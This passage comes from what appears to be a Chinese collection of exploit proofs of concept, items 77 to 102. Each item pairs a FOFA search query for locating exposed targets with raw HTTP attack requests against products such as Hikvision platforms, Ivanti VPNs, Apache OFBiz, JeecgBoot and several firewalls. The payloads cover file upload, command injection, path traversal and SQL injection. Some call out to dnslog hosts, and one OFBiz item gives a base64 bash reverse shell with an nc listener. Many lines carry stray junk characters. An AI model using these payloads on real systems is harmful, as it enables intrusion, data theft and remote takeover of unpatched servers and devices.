) K1 A# _9 @& w3 M6 P
6 V0 ~2 ~% o4 `! w! l- I
' N! [: p; R5 ]GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
) f4 M2 B# S  JHost: x.x.x.x
( o- X* W( V" A' v# t
' a, J( B6 D: Y8 W+ T

+ M+ q1 ?" q- g77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
; ~9 s; r- b; m2 \' {( kPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
, O# k4 Q3 A/ D3 K7 e9 V8 N9 `2 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
7 r& y, V  z" J4 n* j2 F0 @Accept: */*
, O/ y8 Q( V" KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

9 `- W% [( S! P# j3 k------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
3 ^) `5 H; ^4 F2 m' E$ r
+ z9 Q6 H2 F$ S/ R: ^/upload/udplog
, ~) _$ p" o" p  H: G! _6 W------------398jnjVTTlDVXHlE7yYnfwBoix
) Z" ]" `+ z9 _$ M! n. X3 m1 O( eContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

! L, E+ N, n* A1 {  r6 |1 Phello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
7 ^5 b4 X6 ^! L( d; dContent-Disposition: form-data; name="Upload"

' L! V9 H( V! `+ pSubmit Query
( x; [. M! |$ F, [------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
) b# k: {3 L3 n% @; rPOST /Platform/System/FileUpload.ashx HTTP/1.1
- H! s. [6 `# ~7 Q0 F) a- bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
9 C( V! _; W6 _6 I: E/ L4 gContent-Length: 336
% S  t2 l5 k% c8 pAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
# J+ U0 b, G' V5 g/ S& M. P/ @
2 H" o: z5 T* n3 S' }------YsOxWxSvj1KyZow1PTsh98fdu6l
- X; O1 U3 \0 Q5 w# T3 VContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
0 J& v  U/ J- [- _2 t
" @/ U7 |' x# X4 X+ p( [; `YsOxWxSvj1KyZow1PTsh98fdu6l
1 ]! j3 m# ]1 v3 D$ k0 S% U------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

8 q, C" O- B" C2 v/Applications/SkillDevelopAndEHS/
. [! i, s3 t$ W------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


4 x1 l8 E5 l1 Z0 o) a/ D: h79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
1 j: D, ?% J6 _* k( H# |6 b1 Q& HGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
4 `0 ?7 m: M# d7 z3 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. }4 v- ~) j8 H7 q6 ^& s2 \4 R8 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
1 D( j) U0 w$ x# R+ j  [8 XConnection: close
Upgrade-Insecure-Requests: 1


3 C* t& R( b- f4 R) n6 G5 @' U: h80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
% L& o; t; H: yPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
: K) L  ]$ x. @; [9 H3 lHost: x.x.x.x
- d5 ?' T# F0 p& L# O* `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% u  j" q. c  n1 Z& H7 J* gContent-Length: 27
3 h7 c  p; A9 [- M1 {% ^; [3 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 P( u9 A6 g% G' E' l( FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
7 B: j( q9 @: L7 b! F

GET /xykqmfxpoas.jsp HTTP/1.1
$ q; w1 N1 x8 l- f9 u) F6 VHost: x.x.x.x
- t, O8 T% J8 u- \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

, T- w5 [/ B" ]7 W! N/ U& F, z
4 H- j, q- F5 _81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
9 t& t  L  X& |. FGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
3 c- J& N% l0 B* s, Q( j* OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
$ @1 b: ^0 r, \, e) W$ _
" S* r6 Z/ {- K) l* X: R6 G# \8 r
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
' C8 p# s7 u" L5 m! u) PFOFA：app="思福迪-LOGBASE"
1 R+ T  v& Q+ p  ~& xPOST /bhost/test_qrcode_b HTTP/1.1
! {  q# l, m* x- kHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
. w( ?+ g- @8 ]3 m$ \2 l1 T9 _: GContent-Type: application/x-www-form-urlencoded
* J4 U. e( \  i, _$ U! }Referer: BaseURL
) w( K8 M) f$ y* @+ M/ I
z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
+ S$ G- X; s# z) c9 f7 SFOFA：title=="JeecgBoot 企业级低代码平台"

  z& c0 B+ y0 Q1 c
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 o6 n1 t1 g& q$ wConnection: close
Content-Length: 8881
+ l1 s0 M8 N- Q! v3 R7 a: RAccept-Encoding: gzip
9 V) c6 j9 e* K, mCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
8 b" w5 M! a+ H7 zContent-Type: application/json

PAYLOAD
7 |* j0 m2 R# M
" z& w; N9 y3 q9 E* O: a84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
) T+ }& m( ?$ r  s- |FOFA：title=="JeecgBoot 企业级低代码平台"
$ U. [6 }5 p5 d" w
5 T( c7 b) U+ M

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
2 u8 J; s* U8 r' @+ G* k8 R* B& h3 m6 {User-Agent: curl/7.88.1
Content-Length: 156
' Z6 K9 D# H  c* O2 d; A! D: B5 ^' YAccept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
9 P# q6 L  y/ x, ~
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
& v8 q5 Y4 g: X) d; S- c  "type": "0"
; k0 N, V0 v% Z6 p3 F}

/ U" ^+ H. j) v( R0 f) s, j% n
85. SysAid On-premise< 23.3.36远程代码执行
# Q5 g" n+ g" g; ?" RCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
' i6 A) u7 H( z! }: vEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
1 G1 A4 @4 p% S; K6 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 {  ^) `; ?* I8 @; |  rContent-Type: application/octet-stream
Accept-Encoding: gzip
1 Z/ p9 q% n7 L6 ^; X; c
8 d# z. \$ f# K' H1 RPAYLOAD
% f8 R$ k) [% P+ B- I$ X
* x3 Q2 O& P. {( K: v" Q" Y  O  }回显URL：http://x.x.x.x/userfiles/index.jsp

0 }2 W: U& b' @5 w86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
* i6 Z" ~! J" wPOST /cgi-bin/network_test.php HTTP/1.1
: v& Y8 C* V+ T" ]5 E( x9 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
6 e& W' C. h) w) C/ L/ jConnection: close
. f3 {/ L1 Z1 N2 w: O7 ?! ]Content-Length: 44
Accept: */*
6 g; }3 ?1 H# f' d4 x9 D% XAccept-Encoding: gzip
Accept-Language: en
/ L& O; Q( q- b& {( oContent-Type: application/x-www-form-urlencoded
9 a7 t* f- N" ?. |& U) G
host=%0acat${IFS}/etc/passwd%0a&command=ping

0 p: ]7 Z- N3 v6 K6 @; I4 g
- ?; |( s5 W8 J, [' W87. 安恒明御安全网关aaa_local_web_preview文件上传
9 \6 W$ }8 f8 L7 ]0 gFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
& W+ j- i' _" H" K$ PHost: X.X.X.X
0 T6 r/ E2 f9 O/ j4 n! x0 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
4 J" e! }' @3 T8 z6 |0 R: mContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
+ r8 }2 E( u- a* M' [: k
2 A9 r+ r) ~9 D% J6 \8 J) k, i--qqobiandqgawlxodfiisporjwravxtvd
7 L. x' A" r' j+ A. o% S; lContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
1 l# y7 P' b  z& d6 r. _/ u
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
) A; a3 A  P+ R& j' E' o--qqobiandqgawlxodfiisporjwravxtvd--
% i! b) t9 {  q- `
' h2 Q& H) A! y
- \3 b8 Z* S/ b8 _2 c$ z2 _/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
' y/ k; @% `% X- Z. G" {FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
& r% z3 O4 B6 Q5 c4 FHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  k) _1 Y4 N( ^  gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
' A! A* Q/ k& p( C) W

0 W/ t- ]+ r" H. ?4 e. k* Q7 G: q/astdfkhl.php
+ G3 X# o" T' r& Z
/ W4 n# ]0 b9 F. I' u; C4 y2 y- |89. 致远互联FE协作办公平台editflow_manager存在sql注入
9 t9 D2 y1 F0 @3 I, rFOFA：title="FE协作办公平台" || body="li_plugins_download"
4 E# ^0 j( c4 r4 UPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 T- N; O. Z6 y  [" ^, t( i) M9 GContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
$ p" _" ~6 x6 X& _' Q9 a
( |* h0 x/ Y9 T- Ooption=2&GUID=-1'+union+select+111*222--+
! k! ~8 n' ?6 x% |6 x' o

: X) N. X8 a4 ?4 y) {$ q/ ^: ~' O90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
/ U* a* |4 n3 ^FOFA：icon_hash="-1830859634"
+ X# S/ f, G) E! ~POST /php/ping.php HTTP/1.1
6 d  @: s5 v3 k- y, j+ j) HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 {$ ]9 Q: Q2 O3 Z! t7 X2 Q; n7 HConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

: w$ ]- T# D9 z9 k6 O0 Z( t
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
- _3 p1 ?# d+ [% l3 xFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
* M8 \" r: X6 B' k$ ^0 g/ n1 ZAccept: */*
Connection: keep-alive

; z' t6 F% n2 S6 Y; D
* M1 t; p, Y  ~$ E' z$ e$ x8 b
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
4 u' q5 @% P( S" k- a% q1 Z+ n. Mhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
! x! t8 i) e, Q. r* ?1 @7 [2 S/ JPOST /center/api/session HTTP/1.1
: }  |7 Z: h3 D# UHost:
/ P: b, r5 ]2 |9 }Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
9 @) }2 k% z8 N! _8 p* M/ ~7 f& DContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
! J: i3 T  C% [8 `3 u/ V+ K8 WTestcmd: echo test
1 k3 ?6 K2 s* W' T- \7 a5 B/ R6 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
1 P8 R, D: w0 |4 e3 g; _- }! XContent-Length: 5778

, H3 h( m2 L: y4 L/ b1 ]PAYLOAD

! @- {" e( C3 j, n; R8 @0 h' x
2 z! e. y% h( q3 T+ y2 U5 A93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
! c+ w# }, T0 T3 b" \POST /?g=app_av_import_save HTTP/1.1
3 N2 Q# ?1 s! c- Q- P/ S" fHost: x.x.x.x
% E6 p+ c! o* RContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
* }. ~5 H  y. O: y' S" M+ NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ Q, S$ z2 u& {+ c/ D8 N5 m6 {
. s8 D- G2 ?- Z6 @% S------WebKitFormBoundarykcbkgdfx
9 S" l; ~8 W$ P5 w  @5 l, [% `9 rContent-Disposition: form-data; name="MAX_FILE_SIZE"
& N0 E0 [# S8 Y8 ^: l! ]9 j
4 o3 ~9 a4 C$ ^6 U6 {5 k10000000
------WebKitFormBoundarykcbkgdfx
$ r% _3 ?/ t% D+ oContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
: ~9 E# E9 S/ C, v1 E4 `" GContent-Type: text/plain

+ B* X9 B7 R# d* Wwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
4 F. H* Q, |3 S2 M: y, |" T
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

1 j9 T* h* q% v! [  O0 c
: i; k! n0 ^  Y  c: I; ?! jGET /attachements/xlskxknxa.txt HTTP/1.1
0 F; p3 s4 ^6 _7 l  _, V* H8 `; jHost: xx.xx.xx.xx
  e! X, `: F4 g$ AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! C+ z7 b0 q! @" U, m% m
' x# V) F" l) d9 t
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
- l( w8 c( a9 ~  |$ L) \9 ?FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  G: C6 S& i( q! LPOST /?g=obj_area_import_save HTTP/1.1
- `1 _& T6 q: |" y# }4 P- a/ YHost: x.x.x.x
2 b+ j* `# |& Y- g4 P5 `2 [' LContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
+ j; A; T$ \; b) ?' fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& _  I/ ]9 U% S+ n
( a$ f: e( ?5 C, H, g  I4 r% m------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

$ x& C) L# \' e$ h* ^10000000
------WebKitFormBoundarybqvzqvmt
0 M0 j2 k% v/ d; f( TContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
/ f( F0 h2 a: m0 ^* G" lContent-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
$ K3 w7 C4 v: f' x6 f' g3 Z( RContent-Disposition: form-data; name="submit_post"

, v  a5 F( M: f. R8 bobj_app_upfile
( }  x5 x% ^8 S+ z# [: w% n$ y------WebKitFormBoundarybqvzqvmt
4 |8 Y  b9 H( Z3 q% `" y! h  D' O" gContent-Disposition: form-data; name="__hash__"
4 C& z* a6 A, w: M* U
0b9d6b1ab7479ab69d9f71b05e0e9445
; [& X3 L) y9 U5 f# N+ a------WebKitFormBoundarybqvzqvmt--
+ Z" q. n0 O4 K
$ d9 X: L6 b/ E5 U

; d8 t, n# Y, R' w7 v/ k' g/ ]4 q7 Z. WGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
1 Z, A3 Q6 [5 u5 mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, B! |/ _2 i) g. J5 Q7 U
2 [2 g2 u& y$ R6 N) `: O
6 h! P& F8 y3 ?
9 m- \' s" c. i- ?7 [7 M0 m+ Z95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
6 V& `( ~4 x+ W% I9 uPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
1 e" a7 t2 d9 i6 HConnection: close
- v) @8 \+ W2 v7 l5 E# I9 N" o7 [Content-Length: 889
( c2 t3 S9 \% N; l9 f  x* o# E( v$ HContent-Type: application/xml
+ m# |5 g# e! f/ r2 ^Accept-Encoding: gzip
* N0 G' I' f6 f/ w  }8 J/ |
: E. J" G+ j2 g% r+ f<?xml version="1.0"?>
<methodCall>
. k! W7 u2 l; H3 ^$ _   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
% B, Z0 U7 R' D/ |; Y/ ~0 |    <params>
      <param>
0 Y. {# ?% @0 W# Y: j/ v! x$ \  z      <value>
        <struct>
       <member>
7 k4 w/ `2 j" r, ?8 |1 k          <name>test</name>
          <value>
8 k0 P# L/ b7 S$ `$ n3 `      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
/ \5 M+ o/ |  g. L( g        </member>
: b4 W, m6 a# a$ O8 k      </struct>
$ v. c1 Y! J1 |3 F4 K      </value>
    </param>
    </params>
</methodCall>


: b; \% c3 R7 W" }. D用ysoserial生成payload
9 t9 x' ?3 R' D" v- e# Ujava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


6 @$ T3 c; Z8 q  |* T2 L! p# a将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
: w7 j1 Y$ y, o. G' ~- ^Content-Length: 889
4 x9 r" V0 `  p, o4 t8 @% g3 h* kContent-Type: application/xml
5 n! V! l: ?  h6 c9 Q/ bAccept-Encoding: gzip

/ I, @) G% t  E2 k0 b) m: E8 m  |9 FPAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
3 a- T0 }) r- S- r: KFOFA：app="Apache_OFBiz"
8 f0 K% S" x8 z- |1 B7 ?, `POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( a8 m. y; o$ k; f& rHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) w/ }0 ~+ N5 v* ZAccept: */*
1 o9 {4 B& R: B- {9 E0 ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
& t% E9 l( X3 D: B$ T5 [Content-Length: 55
" z! y% ^/ n5 @8 [
1 x7 Y# A4 `) N# J) y0 i: x* SgroovyProgram=throw+new+Exception('id'.execute().text);
3 W: r& N" O6 m& _$ r% [9 H
5 d8 K- K8 Y' e% B* X. j
反弹shell
在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
: K* k: l% N" f  c. _2 K2 n; ?Host: 192.168.40.130:8443
8 h) q0 h2 s0 y6 t. x4 `) {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
% o3 d) q4 }8 J0 ?  _( P3 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 A: S2 L3 y( d  Q5 c* hContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

# `# }- d3 j  l4 y, G8 O97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
" V5 u" K0 ~  b$ UGET /passport/login/ HTTP/1.1
0 _, B5 K" l; h% ^% JHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
0 P$ Y% h* s* ?, pConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
- {: O- l! }% V

7 R+ K: @' H9 W; L6 p2 V; S98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
0 ^% T6 D* h$ ]# G8 l- C9 {FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
6 o. ]( t: [5 d+ P3 K$ V. xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
" c- m1 q& t5 A0 {Accept: */*
1 f" s0 J7 p3 w( Q7 zAccept-Encoding: gzip, deflate
2 @5 k" u1 a9 o4 ~! c( QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) B( J6 _1 o5 o. NX-Requested-With: XMLHttpRequest
4 L$ Q& K( R, X  I4 w! J
  c9 T# q4 N1 G4 _3 V: h6 tid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
: j0 u+ a" L3 u/ S  c

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
3 T" B! ~; @9 i* ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
+ N( H- U" L* P9 h2 m( XContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
3 {) A6 K5 ?) _; T( `* WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) c2 g: [! d4 a$ y2 p  ~5 ^" \Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
0 w' e1 I' c8 f0 P7 O+ R. b
8 ^" _; g. q  v* a%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
* _$ _, n; k+ U7 t

+ r0 t" t6 i% P' o6 n1 @: b100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
/ w: H4 _0 |9 ?9 Q9 SFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
- V" Q/ ~6 ]+ P: L( GConnection: close
Content-Length: 201
: j+ T: O7 M) \4 ~9 E" _9 iContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
& C/ m) R$ u9 J' hAccept-Encoding: gzip
7 c8 B* |3 C" F4 r
6 E! \: z1 A2 a1 \  a, Q------WebKitFormBoundarygcflwtei
; ]4 D0 f0 }5 u( [5 q8 C7 SContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2 F5 O% o5 f8 x; [2ayyhRXiAsKXL8olvF5s4qqyI2O
  Q4 q2 R3 }) ]6 O$ r/ S- K------WebKitFormBoundarygcflwtei--
- N1 M" G7 S/ E* l
* a) v) T$ e4 o$ u5 a! t
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
; v$ S' s4 C5 O& yGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
8 u& n1 Y8 Q. g! Z# V1 QHost: x.x.x.xx.x.x.x
0 @$ o1 h& P  S- CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' R6 P; Y6 ?3 ?3 i1 _3 N/ gConnection: close
' l  \( q* B, R" n7 x) ?Accept-Encoding: gzip
/ J8 w# @' h+ p8 {( x" k
6 }, P$ @2 ~7 R7 s
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
- k1 G- H3 J- F" CCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
& c+ T: j2 @6 y2 N; O# z3 |Host: x.x.x.x
